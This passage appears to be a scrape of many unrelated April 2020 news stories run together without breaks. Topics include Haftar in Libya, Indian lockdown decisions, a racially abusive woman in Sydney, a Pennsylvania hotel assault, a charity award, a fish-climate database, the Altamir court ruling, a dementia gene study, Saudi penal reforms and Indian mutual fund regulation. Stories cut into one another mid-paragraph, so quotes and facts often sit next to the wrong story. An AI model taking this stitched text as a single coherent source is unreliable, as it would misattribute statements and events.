"regrets Libyan National Army (LNA) commander Haftars suggestion that changes to Libyas political structure can be imposed by unilateral declaration" but said it would welcome any dialogue with him. Russia, which has supplied Gen Haftar with weapons and mercenaries, on Tuesday balked at Mr Haftar's announcement and called for a diplomatic resolution to the long-standing conflict. "Moscow is still convinced that diplomatic and political means, a political discussion between all parties of the conflict are the only possible way to solve the (conflict) in Libya," Kremlin spokesman Dmitry Peskov said in comments carried by Russian news agencies. "Russia has been in touch with all the participants of the Libyan peace process, and we believe that there is no other way to settle the Libya issue." On Monday, Konstantin Kosachev, chairman of the foreign affairs committee at the upper chamber of Russian parliament, described Gen Haftar's statement as "very worrying news." The United Nations said on Tuesday that Authorities in rebel-held eastern Libya had expelled 1,400 migrants and refugees so far this year, in violation of international law. Additional reporting by Nataliya Vasilyeva in Moscow Karnataka to undertake Triaging: What does it mean and how do you pronounce it Lockdown: Karnataka to take call based on Centres guidelines India oi-Vicky Nanjappa Bengaluru, Apr 28: With fresh guidelines on the COVID-19 lockdown expected soon, Karnataka Chief Minister B S Yediyurappa on Monday chaired a meeting with key ministers, officials and Deputy Commissioners of districts and discussed about re-starting economic activities in the state, as he took stock about of the pandemic. "At the video conference with DCs, CM took stock of COVID-19 situation and measures taken to control its spread. Discussions also happened regarding starting of certain economic activities in parts of the state," official sources said. The state government would take any decision in this regard after the Centre issues fresh guidelines or directives, they said, without elaborating. Graded lockdown to replace national lockdown post May 3 The meeting came hours after Prime Minister Narendra Modi held a video conferencing with Chief Ministers to discuss the situation arising due to COVID-19 in the country, which is under lockdown since March 25 to contain the pandemic. Only nine Chief Ministers spoke in the virtual meeting with the Prime Minister and Yediyurappa did not get an opportunity. A senior Minister, who attended the meeting told PTI, necessary directions regarding the lockdown after May 3, they were likely to come in a couple of days. "Most of the Chief Ministers wanted the lockdown to continue to contain the spread.... nothing concrete emerged, but we expect the necessary directions will follow in a couple of days. This is what we expect after seeing what has happened as a followup to three to four such video conferences in the past," he said. Lockdown post May 3: 11 states want it extended The Minister said the larger opinion was that the current measures should continue and interstate or inter-district movement should not be allowed. Regarding movement within the districts that are green zone, some decision may be taken soon, he said, adding the Prime Minister also asked states to concentrate on reforms, aimed at attracting investments in the days to come. A woman calling herself the 'Queen of Australia' who is accused of telling a stranger to 'go back to China' and racially abusing a train passenger has been filmed unleashing another foul outburst. Angela Weedon was arrested on April 11 after she allegedly screamed at an Asian Telstra worker when she was asked a series of standard questions to ensure the safety of staff during the pandemic. Weedon allegedly lashed out at the employee, threatening to have he and his family deported to China. The 38-year-old was charged over the incident, as well as another where she allegedly taunted an elderly woman on a Sydney train. Weedon (pictured) was charged after footage emerged online showing her allegedly taunting an elderly woman on a Sydney train On Monday, Weedon was granted bail. After her release, she was filmed standing outside the Sydney Police Centre, surrounded by officers, shouting abuse at a nearby man. 'That's alright, you maggot, you're going to be sued too,' she said. 'Good luck having no money you piece of s**t. Because you're an illegal aren't you, little Mr India... F**k, off dog.' Police will allege later that day she threatened and kicked a man after he denied her request for a cigarette. Video footage showed a woman scream at a Telstra floor manager inside the store at Miranda, in Sydney's south 'As the man tried to walk away, the woman followed him down the street and continued to yell abuse at him,' police allege. She was charged with behaving in an offensive manner in/near public place/school, stalking and intimidation with intention to cause fear or physical harm and common assault. Her next court appearance is scheduled for June 25 in relation to charges of stalking, intimation and behaving offensively in a public place. Back in early April, Weedon allegedly followed a Chinese woman through multiple train carriages, shouting abuse at her along the way. 'Now immigration know who you are, and you're out,' she allegedly told the woman. 'You're not welcome here, understand?' Following that incident, Weedon visited a Telstra store at Westfield Miranda on Thursday, April 9, where she allegedly refused to be served by Asian employees. Weedon made headlines after footage emerged online showing her allegedly taunting an elderly woman on a Sydney train Angela Weedon, 38, was surrounded by police officers when she began hurling abuse at a man outside Sydney Police Centre on Monday She was allegedly furious at being asked to apply hand sanitiser and answer questions about her travel history before being allowed in the store. Weedon - who declared herself 'Queen of Australia' - allegedly told the worker he would 'be deported' during her bizarre rant. 'No, you'll be leaving and I'll be making sure that your whole family will be deported,' she is accused of saying when asked to leave the store. 'It doesn't matter that you were born here because I am the queen of this country... Do you understand that?' A Telstra employee told Daily Mail Australia it was the employee's birthday and retailer workers shouldn't cop verbal abuse. 'We are here to help you, we are not here to be scolded,' he said. 'I just feel for the Asian Chinese community. It's not fair on us during these times. 'We are being mocked and treated like second-class citizens.' The government funding we expect to receive soon is helpful in the near-term because we can protect our employees in the U.S. from involuntary furloughs and pay rate cuts through the end of September, the message said. But the challenging economic outlook means we have some tough decisions ahead as we plan for our airline, and our overall workforce, to be smaller than it is today, starting as early as October 1. A woman and her two adult children are facing assault charges after police say they beat a woman at the Hampton Inn in Lower Nazareth Township. Charged in the April 16 incident are 44-year-old Tammy Rivera, 21-year-old Jaylynn Rivera and 19-year-old Alize Rivera, all of the 400 block of East Broad Street in Bethlehem. Tammy and Jaylynn Rivera are each facing charges of simple assault, harassment and disorderly conduct. Alize Rivera is charged with disorderly conduct. Colonial Regional police were called to the hotel on Nazareth Road for a reported fight at 11 p.m. The woman had injuries to her face, head, arms and legs, according to police. She reported to investigators being assaulted by the ex-wife of her boyfriend and his children. Investigators obtained video surveillance of the incident. Police said the footage and witness statements both corroborated with the womans story. The trio are awaiting arraignment on the charges before District Judge John Capobianco. Tammy Rivera told lehighvalleylive.com Sunday the altercation was the result of her husbands alleged infidelity while they were married and that she and her daughter acted in self defense during the incident. Pamela Sroka-Holzmann may be reached at pholzmann@lehighvalleylive.com. U.S. President Trump holds coronavirus response news conference at the White House in Washington WASHINGTON (Reuters) - U.S. President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, after days of speculation over the North Korean leader's health. Kim's whereabouts and whether he had a heart procedure have been a subject of intense speculation in recent weeks. Daily NK, a Seoul-based website, reported last week that Kim was recovering after undergoing a cardiovascular procedure on April 12, citing one unnamed source in North Korea. Reuters has not been able to confirm the report. A special train possibly belonging to Kim was spotted last week at the North Korean resort town of Wonsan, according to satellite images reviewed by 38 North, a Washington-based North Korea monitoring project. "I can't tell you exactly," Trump said when asked about Kim's condition at a White House news conference. "Yes, I do have a very good idea, but I can't talk about it now. I just wish him well." Trump suggested the mystery would be solved soon. "I hope he's fine. I do know how he's doing relatively speaking. We will see - you'll probably be hearing in the not too distant future," Trump said. (Reporting by Steve Holland and Tim Ahmann; Writing by Mohammad Zargham; Editing by Lisa Lambert and Stephen Coates) PR-Inside.com: 2020-04-28 14:02:04 Global Fund for Children recognizes two grassroots organizations boldly fighting child labor, trafficking, and slavery. WASHINGTON, DC and LONDON, April 28, 2020 (GLOBE NEWSWIRE) -- Global Fund for Children announces the winners of its 2020 Juliette Gimon Courage Awards today, recognizing innovative grassroots organizations Avani in India and Challenging Heights in Ghana for work to advance childrens rights despite extreme challenges. On opposite sides of the world, both winning organizations are led by survivors of forced child labor and modern slavery, who have dedicated their careers to protecting other young people from the same injustices. Anuradha Bhosale, vice-chair of Avani and founder of Avanis Childrens Projects, was forced into domestic labor herself at the age of 6. Now a recognized grassroots activist, she and Avanis staff work fearlessly to end child exploitation in Kolhapur, India and beyond. There are more than 10 million child laborers in India, and more than 35,000 children work in brickyards and other industries in the district of Kolhapur alone. Surrounded by dangerous working conditions and death threats from employers of child labor, Avani rescues children from Kolhapurs brickyards and sugarcane farms and coordinates their comprehensive rehabilitation providing them with safe shelter, food, education, and more. This award affirms that the plight of countless children being rescued from child labor, trafficking, and early marriage has now been brought to light, Bhosale said. James Kofi Annan, founder and president of Challenging Heights, was trafficked to Lake Volta when he was 6 years old, spending seven years there in modern slavery. Now an international advisor on child rights, he and the Challenging Heights team are determined to end child trafficking in Ghana. Over 1.8 million young people are engaged in child labor in Ghana, and 20,000 of them are children trafficked into modern slavery in Lake Voltas fishing industry. At great personal peril, Challenging Heights staff and volunteers rescue children from slavery and provide them with comprehensive rehabilitation services. The organization works extensively with families of former child slaves to ensure that they can safely and permanently reintegrate into their communities. For me, courage is the willingness to confront injustice for the good of our common humanity, harnessing our impacts for our continued progress, Annan said. Global Fund for Children gives the annual Courage Awards through the Juliette Gimon Fund for Courageous Leadership a more than $1 million endowment made possible by William and Flora Hewlett Foundation and other donors in honor of Juliette Gimon. A former Board Chair of Global Fund for Children, Juliette passed away on February 24, 2018. Her wisdom, insights, and profound concern for children helped shape Global Fund for Children, changing hundreds of thousands of young lives across the globe. "We're thrilled to recognize Avani and Challenging Heights for the courage they demonstrate in their work to end child trafficking and forced labor in their communities," said John Hecklinger, President and CEO of Global Fund for Children. "Their dedication honors Juliette Gimon's legacy and her work to inspire positive change for children around the world." Avani and Challenging Heights were selected for their courageous work from among 14 award finalists that have confronted death threats, defied the Taliban to operate secret girls' schools, and helped children with disabilities climb mountains. The winners have channeled adversity into their causes, boldly pursuing justice for children worldwide. About Global Fund for Children & Global Fund for Children UK Trust: Global Fund for Children partners to build a world where all children and youth enjoy equal resources and opportunities in society and live free from violence, discrimination, and exploitation. To that end, GFC invests in innovative local organizations, helping them deepen their impact and build their capacity for social change. Together, GFC and its partners advance the rights of children and youth facing poverty and injustice and equip them with the tools and skills to reach their full potential. Since 1997, Global Fund for Children has invested $44 million in more than 700 organizations, reaching more than 11 million children and youth worldwide. For more information, visit www.globalfundforchildren.org. Attachments Research News New database tracks climate changes toll on freshwater fish By CHARLOTTE HSU The idea is not just to document how fish have been affected by climate change, but to also provide information on management options that can help mitigate some of those effects. Scientists have created a new database to help track the impacts of climate change on fish living in rivers, lakes and other inland waters throughout the world. The Fish and Climate Change Database or FiCli (pronounced fick-lee) is a searchable directory of peer-reviewed journal publications that describe projected or documented effects of climate change on inland fishes. These wild animals are a vital source of food and income for many people, and an indicator of the health of global aquatic ecosystems. A better understanding of how climate change is affecting these fishes could aid in their future survival, informing conservation efforts. The FiCli team published a detailed description of the database on April 21 in Scientific Data, an open-access journal. The project was led by Trevor Krabbenhoft, a fish biologist at UB, and Bonnie Myers, a fish biologist at the U.S. Geological Survey (USGS) and PhD candidate at North Carolina State University. The Fish and Climate Change Database pulls information together in a way that people can meaningfully use it, says Krabbenhoft, assistant professor of biological sciences, College of Arts and Sciences, and the RENEW (Research and Education in eNergy, Environment and Water) Institute. The idea is not just to document how fish have been affected by climate change, but to also provide information on management options that can help mitigate some of those effects. Researchers, fisheries managers, conservationists, journalists and others can use FiCli to find scientific articles based on factors such as fish species, habitat type, location and type of climate change impact (such as a change in temperature or precipitation). FiCli search results include journal article titles, instructions for accessing publications and brief summaries of such information as how fish populations have responded to climate change and what management actions are recommended. According to the paper in Scientific Data, FiCli currently includes information for 53 freshwater fish families, 232 studies from more than 47 countries, and 851 projected and 377 documented responses of individual species or assemblages to climate change. Curators including Krabbenhoft, Myers and Abigail Lynch, a research fish biologist at the USGS National Climate Adaptation Science Center, will update the database as new studies are published. Users can also contact the team about peer-reviewed papers that are missing from the database and may be a good fit. The FiCli project grew, in a way, out of our need for a database as scientists, Krabbenhoft says. We were trying to understand how climate affects fish, and we had a really hard time identifying the right papers. By synthesizing the available information on how climate change has already affected fish populations, it helps us refine our predictions for how fish are likely to be affected in the future. Hopefully weve created something that will be meaningful for other fishery biologists. As researchers, we often try to avoid reinventing the wheel to save valuable time and resources. Compiling and synthesizing published scientific results is an important step in any research project. We hope FiCli serves as a time-saving, informative database that helps advance scientific understanding and management of the impacts of climate change on important aquatic resources and guides future climate adaptation efforts," says Myers, a research fish biologist at the USGS National Climate Adaptation Science Center and PhD candidate in the North Carolina State University Department of Applied Ecology and the North Carolina Cooperative Fish and Wildlife Research Unit, which is housed at the university. In addition to Krabbenhoft, Myers and Lynch, co-authors of the Scientific Data paper included Jesse P. Wong of George Mason University; Cindy Chu of the Ontario Ministry of Natural Resources and Forestry; Ralph W. Tingley III of the Missouri Cooperative Fish and Wildlife Research Unit housed at the University of Missouri; Jeffrey A. Falke of the Alaska Cooperative Fish and Wildlife Research Unit housed at the University of Alaska Fairbanks; Thomas J. Kwak of the North Carolina Cooperative Fish and Wildlife Research Unit housed at North Carolina State University; and Craig P. Paukert of the Missouri Cooperative Fish and Wildlife Research Unit. The American Fisheries Society funded workshops that led to the FiCli database, with in-kind support from the USGS National Climate Adaptation Science Center and the Missouri Cooperative Fish and Wildlife Research Unit. Pond Island:--- After weeks of closure because of the Coronavirus lockdown, TelEm Group says it will be opening its stores once again on Tuesday and the for the rest of the week but for limited opening hours from 9:00 am to 12:00 noon. The concession to re-open has been granted by government to facilitate customers who want to make payment for services that they could not pay for online. On at least two occasions in the past week, TelEm Group has had to apologize for turning many of their paying customers away after they turned up at the main office location on Pond Island only to be told the office had to remain closed as per government instructions. TelEm Group Chief Commercial Officer (CCO), Mr. Michiel Parent, is most grateful to customers for their diligence and promises everyone will receive a warm welcome Tuesday and for the rest of the week upon their return to make their payments, even though the number of opening hours is being kept short for now. We are also informing customers in advance that we will be putting some strict protocols in place to ensure their safety and the safety of our staff while the offices are open for payment, said Mr. Parent. Amongst the safety measure being taken will be a compulsory requirement for all visiting customers to wear a mask and/or face covering prior to entering TelEm Group locations. Customers will also be asked to obey strict social distancing rules inside the building while waiting to be served and outside the building while waiting to enter the building(s). Mr. Parent says customers will be asked to sanitize their hands with sanitizing solutions provided for them and to allow cleaning assistants inside the buildings to disinfect and wipe down countertops after each customer has been served. For now, a limited number of persons will be allowed into public areas at any one time. All TelEm Group staff will also be required to wear masks, with the use of gloves being optional. Similar to customers, staff will also be making extensive use of hand sanitizers as an additional safety precaution. The Commercial Director assures than customers who arrive before the official closing time of 12:00 noon to make payments will be served, however, anyone arriving after that time will be asked to return the following day. Mr. Parent reminds that TelEm Group will be opening on the days also set aside by government for members of the public to visit the supermarkets, which this week is Tuesday, Wednesday and Thursday due to the public holiday on Monday and Friday also of this week. The opening times next week will revert back to Mondays Wednesdays and Fridays also as previously instructed by government. From Tuesday we will be focusing primarily on customers who want to pay their bill. Other non-essential staff will continue to work from home. Customers who want to report a service outage or customers with other service questions can call our Helpdesk which is open daily from 8:00 am until 6:00 pm, said Mr. Parent. Customers can contact the helpdesk via 611, 548-help (548 4357), 546-0100 via WhatsApp 528-0100 for outage reports email This email address is being protected from spambots. You need JavaScript enabled to view it. A Central Reserved Police Force (CRPF) jawan whose arrest had kicked up a row was released on a conditional bail by the Chikkodi in Belagavi district in North Karnataka on Tuesday. After getting bail, CoBRA commando Sachin Sawant was received at the jail by CRPF staff. The Additional Superintendent of Police Amaranath Reddy told P T I that while releasing him on bail the Judicial Magistrate First Class (JMFC) has asked him not to influence the investigation. He further said Sawant was handcuffed and chained and was tied to grill of a window because he was violent. Sawant was arrested on April 23 for allegedly defying the COVID-19 lockdown norms with the paramilitary force taking strong exception to his "ill-treatment", following which an inquiry has been ordered by the state police. State DGP Praveen Sood has ordered inquiry into the incident, which has triggered a row after a video of it went viral. In the clip, some police constables are purportedly seen hitting Sawant with sticks in Belagavi. According to information shared on social media, Sawant was washing his bike when a police team reached the spot and started beating him up for not wearing a mask during the lockdown. Taking a serious view of the "ill-treatment" meted out to its commando, the CRPF had written a letter to the Karnataka police demanding an investigation into the matter. In a letter to the Karnataka DGP, the Additional Director General of Police of CRPF Sanjay Arora said Sawant was cleaning his bike when a skirmish happened between him and the police over not wearing the mask. Arora wrote, "Sawant was manhandled and ill-treated, before his family members and paraded to the police station barefoot, where he was kept in chains and handcuff. From the scrutiny of a viral video on social media, it is apparent that the conduct of police personnel was not citizen-centric." The CRPF ADGP also said the "unpleasant" situation could have been avoided if the Karnataka police had taken CRPF hierarchy into confidence before making the arrest. In response, Sood ordered an inquiry into the matter. He tweeted that IGP Belagavi has been asked to conduct a probe into the incident involving CRPF constable. Action will be taken against guilty after receipt of report, he said. According to sources, Home Minister Basavaraj Bommai has directed the state police chief to conduct a detailed inquiry into the incident. Denouncing the arrest, Karnataka Irrigation Minister Ramesh Jarkiholi has sought the release of the CRPF jawan. "It was wrong on the part of the constables to ill treat CRPF jawan and an inquiry be conducted against the erring policemen," said jarkiholi in a press release. However, Superintendent of Police of Belagavi district, Laxman Nimbargi defended the arrest of Sawant. According to him, the constables of Sadalga police station were on patrol duty on April 23, when they spotted Sawant sitting on a bench in his village in Chikkodi Taluk. While others fled on seeing the policemen, Sawant remained seated. When the constables questioned Sawant why he defied Section 144 of the CrPC imposed in the district, the jawan replied that he was also a policeman. The patrol party reminded him that he should follow the regulations, Nimbargi said and alleged that this irked the CRPF soldier, who held the constables by their collars and even punched one of them. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Paris, 28 April 2020 - Moneta had sued Maurice Tchenio and Altamir Gerance in Commercial Court for mismanagement of Altamir. In a decision rendered on 17 April 2020, the Court rejected all of Moneta's claims and considered them sufficiently excessive to require Moneta to pay 200,000 to Maurice Tchenio for harm to his reputation and 100,000 to Altamir as financial damages. The Court's decision was as follows: Moneta's application as a claimant relative to double invoicing of fees from 8 July 2013 was held admissible. All of Moneta's claims were rejected. Moneta was ordered to pay damages as follows: 100,000 to Altamir, 200,000 to Mr Tchenio. The Court fined Moneta as follows, under Article 700 of the Code of Civil Procedure: 30,000 to Altamir, 15,000 to Altamir Gerance, 15,000 to Mr Tchenio. The other, broader claims of Altamir, Altamir Gerance and Mr Tchenio, and those contrary to the grounds of this decision were rejected. Provisional enforcement was ordered. Moneta was ordered to pay court fees, including those owing to the clerk, totalling 159.88, including VAT of 26.43. The full text of the ruling is available on the Company's website: www.altamir.fr. Forthcoming events: NAV as of 31/03/2020 19 May 2020, post-trading H1 2020 earnings and NAV as of 30/06/2020 8 September 2020, post-trading NAV as of 30/09/2020 5 November 2020, post-trading * * * * * * * * * * * * * * * About Altamir Altamir is a listed private equity company (Euronext Paris-B, ticker: LTA) founded in 1995 and with a NAV of more than 1bn. Its objective is to provide shareholders with long-term capital appreciation and regular dividends by investing in a diversified portfolio of private equity investments. Altamir's investment policy is to invest via and with the funds managed or advised by Apax Partners France and Apax Partners LLP, two leading private equity firms that take majority or lead positions in buyouts and growth capital transactions and seek ambitious value creation objectives. In this way, Altamir provides access to a diversified portfolio of fast-growing companies across Apax's sectors of specialisation (TMT, Consumer, Healthcare, Services) and in complementary market segments (mid-sized companies in continental Europe and larger companies in Europe, North America and key emerging markets). Altamir derives certain tax benefits from its status as a SCR ("Societe de Capital Risque"). As such, Altamir is exempt from corporate tax and the company's investors may benefit from tax exemptions, subject to specific holding-period and dividend-reinvestment conditions. For more information: www.altamir.fr Contact Claire Peyssard Moses Tel.: +33 1 53 65 01 74 / +33 6 34 32 38 97 E-mail: claire.peyssard-moses@altamir.fr ------------------------ This publication embed "Actusnews SECURITY MASTER ". - SECURITY MASTER Key: x2ibZJiZZGfGm5pxlMZummKZbWhiyGSYaGrJxGlvmMmcnJ1pm25kaMmWZm9klm1v - Check this key: https://www.security-master-key.com. ------------------------ Copyright Actusnews Wire Receive by email the next press releases of the company by registering on www.actusnews.com, it's free Full and original release in PDF format:https://www.actusnews.com/documents_communiques/ACTUS-0-63189-litige-moneta-jugement-en-def.pdf A team of scientists in Alabama and California has found a gene mutation that doubles the risk of Alzheimer disease, ALS and frontotemporal dementia. The discovery could make a real difference in early diagnosis and new treatments, scientists said. The researchers gathered DNA samples from more than 1,100 people in an effort led by the University of California in San Francisco. The samples were turned into a profile of each persons genetic code using a technique called whole-genome sequencing. Scientists then used computers to search the genetic codes for differences. They found that people with degenerative diseases of the brain were more likely to have changes in a gene named TET2. Then, the researchers looked at DNA sequences from more than 32,000 healthy people and people with neurodegenerative diseases. They confirmed that the differences they saw in the first 1,100 genomes were also present in other people with Alzheimer disease, ALS, and frontotemporal dementia more often than in healthy people. New clue as to cause of Alzheimer disease and ALS Participating in the research in Alabama were Huntsvilles HudsonAlpha Institute for Biotechnology and the University of Alabama at Birmingham. Were excited that we did find a new genetic association here, said Nicholas Cochran, PhD, a senior scientist in the laboratory of Richard Myers, PhD, HudsonAlpha president and science director. This work would have been impossible without the grassroots support of local Huntsville donors, Myers said. Being able to do projects like this that address the underlying causes of multiple different neurodegenerative diseases could make a real difference in finding earlier diagnostics and new treatments. The TET2 gene is the blueprint for a protein also called TET2, which scientists already know has role in maintaining brain DNA. Researchers now think the genetic changes they found could lead to TET2 protein that might disrupt how the brain ages and contribute to the development of Alzheimer disease, ALS and frontotemporal dementia. The research was funded in part by Huntsville donors to the HudsonAlpha Foundation Memory and Mobility Program. It was also funded by the Rainwater Charitable Foundation, the Daniel Foundation of Alabama, the Larry L. Hillblom Foundation and the National Institutes of Health National Institute on Aging. Jennifer Yokoyama, PhD, an assistant professor of neurology at the University of California in San Francsisco led the effort to collect the DNA samples. It was published in The American Journal of Human Genetics. Processing large amounts of information can be draining, according to experts. (Getty) Its a scenario many of us have experienced. Its mid-morning and your manager has called your team in for a meeting. Youve actually got things to say but as time drags on, you find it difficult to focus. The coffee has run dry and you feel zapped of energy and by the time the meeting is finished, you cant believe you have the rest of the day to get through. According to a 2018 survey of 2,000 people from the UK, France and Germany, almost a quarter (23%) of those surveyed said they had witnessed someone fall asleep in a meeting. More than a third admitted to switching off mentally. So why do we find meetings so tiring? Meetings are a chance to catch up with managers, employees and colleagues and can be a good opportunity to bounce ideas around. But processing large amounts of information can be draining, explains Gemma Leigh Roberts, organisational psychologist and founder of Career Compass Club. Your brain is constantly bombarded with information, which is received through your senses. The brain switches on attention by filtering important information and moving it up the list for deeper processing, she says. This process requires deep concentration, which takes a lot of psychological energy. At its core, thats why we tend to lose energy as a meeting progresses and why long meetings can be particularly tiring. How we handle meetings depends on our personalities, too. In any company, there will be a mix of people across the introvert-extrovert personality spectrum, and introverts tend to find meetings particularly exhausting, Roberts adds. Social events and navigating office politics during a meeting requires constant stimulation, which can take up a lot of energy for introverts, whereas extroverts rely on social stimulation to recharge their energy levels. READ MORE: Coronavirus: Why it's OK to take a break from Zoom meetings and virtual pubs Another problem is that many businesses are too trigger happy when it comes to calling a meeting. Story continues Sometimes, a long, dreary meeting can easily be replaced with a quick email leaving employees with more time to spend on their actual work. When researchers from Harvard Business School and Boston University surveyed 182 senior managers across several industries, the results were eye-opening 65% of senior managers said that meetings keep them from completing their own work and 71% found them to be unproductive and inefficient. With many of us working from home during the coronavirus outbreak, our meetings are taking place at our kitchen tables and from our sofas over Zoom, Skype and other video conferencing platforms. Even in the comfort of our own homes, many have reported experiencing Zoom fatigue a feeling of exhaustion. One reason may be that most video calling platforms will include the users own camera view on the call screen, says Dr Linda Kaye, a senior lecturer in psychology at Edge Hill University. It is likely that this is enhancing our self-awareness to a greater level than usual, and therefore resulting in us making additional self-presentational efforts than in face-to-face interactions in the real world. Another explanation for fatigue may simply be from technical restrictions and our inability to be able to fully use the usual array of social cues and non-verbal communication. Within video calls, the bandwidth of social cues is much narrower, and we have to pay additional attention to others behaviour to enable us to monitor social interactions effectively. We might also just be over-scheduling ourselves too either because we have more free time, or because our bosses think we do. READ MORE: Should we all be doing walking meetings? Most managers wont relish the idea of scrapping meetings altogether, so what can we do to solve the problem? The solution Firstly, if you know you are going to be in a long meeting prepare for it. Have water and coffee on hand, have bullet points in front of you and if you are in a virtual meeting, do it somewhere with natural light and fresh air (such as an open window). Employers should also ensure meetings are absolutely necessary and have a clear structure to prevent them dragging on. In lockdown conditions, a lot of employees today are talking about the amount of office meetings they used to have that could have been emails instead, Roberts says. This sentiment highlights that if someone feels they shouldnt have to be in the meeting, it can be stressful thinking about all the other work that still needs to get done. Employers should set expectations for each meeting and communicate who needs to be there for what reason, as well as what the outputs of the meeting will be. Reno Omokri has reacted to President Buharis Live broadcast on coronavirus response to the nation. The President, last night, officially addressed Nigerians in a Live feed where he addressed issues as it concerns the global pandemic. Reacting to the broadcast, Omokri slammed the presidency, pointing out some foul play to the broadcast. REA ALSO Never Force Marriage, Love And Affection To Happen For You Reno Omokri According to Omokri, the LIVE Broadcast was pre-recorded as he pointed out that it required dialogue and not a monologue. See His Post Here: Charlie Coyle, one of two truck drivers charged over the haul Two truck drivers have been charged after gardai intercepted the alleged handover of 2.5m worth of cocaine in a garage car park in north county Dublin at the weekend. Charlie Coyle (58) and Dmitrijs Venskovics (44) both appeared before Dublin District Court on drugs charges following the seizure. Judge Gerard Jones adjourned their cases to Friday after hearing Mr Venskovics allegedly drove a truck from which cocaine was handed over to a lorry driven by Mr Coyle. Supply Mr Coyle, of Boug, Cootehill, Co Cavan, was granted bail subject to a 25,000 surety, while Mr Venskovics, with an address in Neretas Novads, Latvia, deferred a bail application. They are both charged with possession of cocaine with intent to sell or supply at Blake's Cross on April 25. Mr Venskovics was not making any bail application yet, but would on his next court date, his solicitor Michael French said. Det Gda Redmond O'Leary said it was alleged Mr Venskovics was the driver of a truck observed by members of the Garda National Drugs and Organised Crime Bureau. There was a handover to a second truck, which was stopped and a large quantity of drugs found, Det Gda O'Leary said. Objecting to Mr Coyle's bail, Det Gda Michael Ormond said it was alleged he drove the second truck and took possession of the cocaine before leaving the scene. Mr Coyle was an "innocent man", was entitled to bail and, although he was living in Northern Ireland, he could stay at the family home address in Cavan, said his solicitor Fiona D'Arcy in applying for bail. Det Gda Ormond said Mr Coyle's behaviour had been "perfectly fine" since his arrest. Judge Jones said the allegation was that the accused was "effectively caught red-handed". Gardai have said a third man arrested has been released without charge. Saudi Arabia Scraps Death Penalty for Minors, Flogging in Bid to Modernize Penal Code Sputnik News 19:00 GMT 27.04.2020 The kingdom of Saudi Arabia will no longer impose the death penalty on individuals who were minors at the time that they committed a crime, a Sunday statment issued by the state-backed Human Rights Commission (HRC) revealed. The change in criminal policy indicates that any individual who was issued the death penalty as a minor will now be sent to a juvenile detention facility for a period no longer than 10 years. The kingdom in 2018 issued a decree that established a 10-year maximum sentence for minors convicted of any offense, except capital crimes, such as murder and terrorism. It's unclear when the new changes will take effect. A royal decree viewed by the Associated Press suggests that possible exceptions may be made for terrorism-related crimes committed by minors, and that punishments will be dropped for individuals who have already served 10 years. "This is an important day for Saudi Arabia made possible by King Salman and the Crown Prince Muhammad bin Salman," Awwad Alawwad, the president of the Human Right Commission, said in a statement accompanying the HRC announcement. "The decree helps us in establishing a more modern penal code, and demonstrates the Kingdom's commitment to following through on key reforms across all sectors of our country as part of Vision 2030, directly supervised by the Crown Prince Muhammad bin Salman." Vision 2030, which was first announced in 2016, is a set of strategic goals in which the kingdom expects to shift away from its dependence on oil, diversify its economy and build up the country's public service sectors. However, despite Saudi Arabia's attempts to modernize, its track record regarding the death penalty has drawn widespread criticism, even more so following the murder of Saudi journalist Jamal Khashoggi. Most recently, a report published by Amnesty International found that Saudi Arabia carried out a total of 184 executions in 2019, an increase of 35 when compared to figures recorded the year prior. The majority of the executions noted in Amnesty's report were for murder and drug-related crimes, and at least one individual was executed for a crime committed as a minor. The move by Saudi officials comes days after the kingdom ditched its practice of flogging in a decision made by the General Commission for the Supreme Court. Rather than flogging, offenders will either be sentenced to prison or issued a fine. Alawwad stated in the HRC release that both of the changes highlight Saudi Arabia's continued efforts to implement reforms amid the COVID-19 pandemic, adding, "More reforms will be coming." A Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address At the time of signing a mutual funds contract agreement, an investor agrees to the chances of risks involved in the investment. The cautionary note mutual fund investments are subjected to market risks hardly invites a second glance. For credit risk funds, the disclosures are even more detailed. But the promise of mouthwatering returns is so overwhelming that it can instantly blind even normally astute investors. There is now an alarming frequency about the fallout investment calls going horribly wrong and investor money going up in smoke and almost every stakeholder groping in the dark. Thanks to these disclosures, a fund manager has little to worry legally about wrong business calls that ruin investor wealth. Take a look at the regulations of the capital market watchdog for mutual funds. Sebi only insists on transparency and disclosure of these investments. It gives broader guidelines for mutual fund investments and borrowing limits but it is yet to lay down specific rules on fund allocations and liquidity assessment time to time in each type of funds. Sebi regulations for fund houses only speak of high standards of integrity and professional judgment sticking to the objectives in the offer document. Trustees and the asset management company shall render at all times high standards of service, exercise due diligence, ensure proper care and exercise independent professional judgment, Sebi rules say. But the regulator can slap a penalty of up to Rs 1 crore on mutual funds for violations relating to investment of investors funds, fraudulent and manipulative acts. If violations are severe, Sebi can even suspend or cancel registration certificate of the fund. Yet, absent are regulations that can hold a fund manager responsible for his wrong business calls. If he (fund manager) is smart enough, he will lie low for a while and return to a similar role later, said Naresh Malhotra, a former senior banker with SBI. It is nearly impossible to hold anyone responsible for business failure under any regulation, he adds. Unwritten promise But there is an unwritten promise between a firm and client that investors will get their money back no matter what. A fund managers legacy and track record is usually the biggest draw for a mutual fund investor. Fund managers have long been busy preaching to investors that mutual funds are much safer investment bets. Moreover, mutual funds (MFs) scheme sellers especially target people who arent confident enough to invest directly in equities (high risk, high return). MFs were sold as products that could yield far higher returns than a vanilla bank fixed deposit but less risky than stock market. The notion was that experienced fund managers were skilled enough to see the pitfalls ahead. With the Franklin Templeton fiasco sinking in as a reality in investor psyche, all those ideas are up for a hard relook. A case for tight regulations? In the Franklin mess, no single individual can be blamed, according to experts. In any failure, the responsibility cannot be pinned on an individual, unless decisions were non-transparent, in this particular case, investments were made against the declared risk policy and all investments made were in public domain. Therefore it will be like finding an escape goat for the problem, said J N Gupta, a former SEBI executive director and founder of proxy advisory firm SES. "One could say Investor was aware of the high risks. However, managing the risk was business of the mutual fund, Gupta said. According to Gupta, Sebi has only set the broader guidelines for mutual funds to invest in companies and it is up to the fund managers to choose the companies and allocation. Sebi cannot micromanage. We are all intelligent post event, said Gupta. Gupta said the debt fund structure was fragile due to high risk. "When COVID-19 came, lack of liquidity made the structure brittle and it crumbled under redemption pressure against low liquidity and the whole thing fell flat." Not everyone shares Guptas view. Sebi, in light of repeated cases in the past, should have seen this coming. Also, rating agencies and the fund managers can also be held directly responsible for such a situation, said Jayant Thakur, a well-known chartered accountant. Rating agencies and fund managers need to be investigated in the event of a failure and punished if found guilty. In such cases, strong punishment should be given including suspension of licences, Thakur said. Rating agencies have often acted late in warning investors 